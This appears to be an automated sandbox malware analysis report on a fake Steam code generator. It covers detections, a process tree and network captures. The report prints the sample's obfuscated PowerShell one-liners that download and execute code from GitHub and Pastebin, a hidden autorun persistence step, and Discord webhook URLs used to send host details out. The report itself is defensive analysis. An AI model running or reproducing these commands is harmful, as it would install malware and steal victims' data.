Edit tour

Windows Analysis Report
steamcodegenerator.exe

Overview

General Information

Sample name:	steamcodegenerator.exe
Analysis ID:	1534102
MD5:	d4f1751389516a3dfac98551142cb153
SHA1:	f362178e1ecd3eac536b666e89c2aa5663109116
SHA256:	eb727ad773925864801802b58b3060cfb1a0c18c1be78c8f9e6fc1d2840b19af
Tags:	exeNeth3Nuser-JAMESWT_MHT
Infos:

Detection

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

Found direct / indirect Syscall (likely to bypass EDR)

Powershell creates an autostart link

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Sigma detected: Suspicious PowerShell Parameter Substring

Suspicious powershell command line found

Tries to open files direct via NTFS file id

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found large amount of non-executed APIs

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: CurrentVersion Autorun Keys Modification

Uses a known web browser user agent for HTTP communication

Yara signature match

Classification

Process Tree

System is w10x64

steamcodegenerator.exe (PID: 7500 cmdline: "C:\Users\user\Desktop\steamcodegenerator.exe" MD5: D4F1751389516A3DFAC98551142CB153)

conhost.exe (PID: 7508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7628 cmdline: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)} MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7744 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7756 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 8168 cmdline: "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

forfiles.exe (PID: 7268 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 7240 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4080 cmdline: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 5660 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

forfiles.exe (PID: 5236 cmdline: "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "powershell.exe -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)'" MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 1856 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6016 cmdline: -command powershell -windowstyle h -command 'sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)' MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7248 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x902e:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\stm[1].txt	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x66ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3629921626.0000022AF4E10000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x66ff:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49
00000000.00000002.3629903861.0000022AF4D00000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x16c5f:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49

Other

Source	Rule	Description	Author	Strings
amsi64_5660.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9a92:$b1: ::WriteAllBytes( 0x8197:$s1: -join 0x1943:$s4: += 0x1a05:$s4: += 0x5c2c:$s4: += 0x7d49:$s4: += 0x8033:$s4: += 0x8179:$s4: += 0xc1bc:$s4: += 0xc23c:$s4: += 0xc302:$s4: += 0xc382:$s4: += 0xc558:$s4: += 0xc5dc:$s4: += 0x9b2c:$e4: Get-WmiObject 0x9bce:$e4: Get-WmiObject 0xa6a5:$e4: Get-WmiObject 0xa894:$e4: Get-Process 0xa8ec:$e4: Start-Process
amsi64_7248.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x9a92:$b1: ::WriteAllBytes( 0x8197:$s1: -join 0x1943:$s4: += 0x1a05:$s4: += 0x5c2c:$s4: += 0x7d49:$s4: += 0x8033:$s4: += 0x8179:$s4: += 0xc1bc:$s4: += 0xc23c:$s4: += 0xc302:$s4: += 0xc382:$s4: += 0xc558:$s4: += 0xc5dc:$s4: += 0x9b2c:$e4: Get-WmiObject 0x9bce:$e4: Get-WmiObject 0xa6a5:$e4: Get-WmiObject 0xa894:$e4: Get-Process 0xa8ec:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}, CommandLine: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\steamcodegenerator.exe", ParentImage: C:\Users\user\Desktop\steamcodegenerator.exe, ParentProcessId: 7500, ParentProcessName: steamcodegenerator.exe, ProcessCommandLine: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}, ProcessId: 7628, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk", EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7744, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\OneDrive File Sync

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}, CommandLine: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}, CommandLine|base64offset|contains: &, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\steamcodegenerator.exe", ParentImage: C:\Users\user\Desktop\steamcodegenerator.exe, ParentProcessId: 7500, ParentProcessName: steamcodegenerator.exe, ProcessCommandLine: powershell.exe -command start powershell -windowstyle h -args {sal notpad iEx; sal $env:os iWr; notpad(windows_nT raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt -usebasicparsing)}, ProcessId: 7628, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T16:00:08.497087+0200	2857659	1	A Network Trojan was detected	192.168.2.4	49749	162.159.138.232	443	TCP
2024-10-15T16:00:16.360221+0200	2857659	1	A Network Trojan was detected	192.168.2.4	49763	162.159.138.232	443	TCP

ETPRO MALWARE Win32/Fake Robux Bot Registration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-15T15:59:53.331844+0200	2857658	1	A Network Trojan was detected	192.168.2.4	49742	162.159.138.232	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: steamcodegenerator.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.109.133:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.159.138.232:443 -> 192.168.2.4:49763 version: TLS 1.2

Source: steamcodegenerator.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\Bill Hillman\source\repos\steamcodegenerator\x64\Release\steamcodegenerator.pdb&& source: steamcodegenerator.exe, 00000000.00000002.3629938089.0000022AF4E20000.00000004.00001000.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629977699.0000022AF4E54000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: C:\Programming1\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb source: steamcodegenerator.exe
Source:	Binary string: dC:\Programming1\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb source: steamcodegenerator.exe
Source:	Binary string: C:\Users\Bill Hillman\source\repos\steamcodegenerator\x64\Release\steamcodegenerator.pdb source: steamcodegenerator.exe, 00000000.00000002.3629938089.0000022AF4E20000.00000004.00001000.00020000.00000000.sdmp, steamcodegenerator.exe, 00000000.00000002.3629977699.0000022AF4E54000.00000002.10000000.00040000.00000000.sdmp

Source: C:\Users\user\Desktop\steamcodegenerator.exe

Code function: 0_2_00007FF663560478 FindFirstFileExW,

0_2_00007FF663560478

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.4:49749 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857659 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Host Details Exfil : 192.168.2.4:49763 -> 162.159.138.232:443
Source: Network traffic	Suricata IDS: 2857658 - Severity 1 - ETPRO MALWARE Win32/Fake Robux Bot Registration : 192.168.2.4:49742 -> 162.159.138.232:443

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 172.67.19.24 172.67.19.24
Source: Joe Sandbox View	IP Address: 162.159.138.232 162.159.138.232

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: FASTLYUS FASTLYUS

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1295171900019966004/KRGDAVzqdqMZILdh_WVWyqLwT2_aVjXOXnoEnaoZ5xZY_kNOmMNm2yrdQTKMOzXSXWSI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 213Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 298Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /api/webhooks/1285453590428782614/2ICVsBAPEUQjq3aCyFPX9ce6WexTwa29I1FddkY5ZuTql0_efW5EguYXiAyCvsMrX7i2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 298Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /user-attachments/files/17267811/stm.txt HTTP/1.1User-Agent: DownloaderHost: github.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /github-production-repository-file-5c1aeb/867932512/17267811?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAVCODYLSA53PQK4ZA%2F20241015%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20241015T135927Z&X-Amz-Expires=300&X-Amz-Signature=8a42f0840dba3c62020dad0419913b6620b38691d3ca1b89b59ca471c19fa727&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3Bfilename%3Dstm.txt&response-content-type=text%2Fplain HTTP/1.1User-Agent: DownloaderCache-Control: no-cacheHost: objects.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/cr_asm.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /raw/sA04Mwk2 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: pastebin.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: raw.githubusercontent.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: discord.com

Source: unknown

HTTP traffic detected: POST /api/webhooks/1295171900019966004/KRGDAVzqdqMZILdh_WVWyqLwT2_aVjXOXnoEnaoZ5xZY_kNOmMNm2yrdQTKMOzXSXWSI HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Content-Type: application/jsonHost: discord.comContent-Length: 213Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 13:59:53 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729000794x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hWnV7TPvkg5LZKvrTXlOvT%2BEdxRSZVjQR2VHBvQhjXYCguoQolUzOZJtES0lyG%2BnICdJwdZcwfOQEn97tnR8NAh1SKuQGHTtgI%2FOJJHa3khkNkjOBTA3SH4bdh29"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=b96900f5ee5ff634769fa70e31a8093c5cc2c686-1729000793; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=B9oNm1iH5MaqkqTXcdybFvpTlS5n6AwSsI_dOXK08Wk-1729000793263-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d30550d4c198d2d-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 14:00:08 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729000809x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4y9gj4sWdq%2By0jEQwDG6uSzZLfzSQLJs6deNAx5PdrOB87WoZAU0lF29ALF%2Fb28JQcPnLPKT4f6HKjVVNXTMsTjMVSKMCgEkjbQ2y%2BU7MHWSvJH7VYbbjIKrGoWV"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=898bd1d6d1178ff7245a151efa26800a53bbff85-1729000808; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=shRMVpCMnQJcd9oFhWDOKkHJPOxlMBHoMx_v_HmOv2k-1729000808433-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d30556bdcc53455-DFW
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Oct 2024 14:00:16 GMTContent-Type: application/jsonContent-Length: 45Connection: closeCache-Control: public, max-age=3600, s-maxage=3600strict-transport-security: max-age=31536000; includeSubDomains; preloadx-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5fx-ratelimit-limit: 5x-ratelimit-remaining: 4x-ratelimit-reset: 1729000817x-ratelimit-reset-after: 1via: 1.1 googlealt-svc: h3=":443"; ma=86400CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5jjzbRDm%2B2SlpjKVS72i7IPSdiTMsScsmN0thaBYTgtj6qqodAYw7O7hfydAkKesLwdKFKeexRvA9ISH6R%2BRd4gD6CE7yn1CKxr%2BAdg8y0Q8Vn6c%2B5D5xu69Z3mg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}X-Content-Type-Options: nosniffSet-Cookie: __cfruid=e316ba9d782cc8a8d64ff500cb6e6c4c929f0dd5-1729000816; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneContent-Security-Policy: frame-ancestors 'none'; default-src 'none'Set-Cookie: _cfuvid=6UMiXvDrHMMRL.7XfRyxsGJQ1gU6UcIilxJInvvqYJg-1729000816294-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8d30559cfb90e867-DFW

Source: powershell.exe, 00000002.00000002.1958904116.0000025E901B7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1943654645.0000025E818D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000002.00000002.1943654645.0000025E80232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1943654645.0000025E80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1943654645.0000025E81632000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000002.00000002.1943654645.0000025E80232000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1943654645.0000025E80001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000002.00000002.1958904116.0000025E90080000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
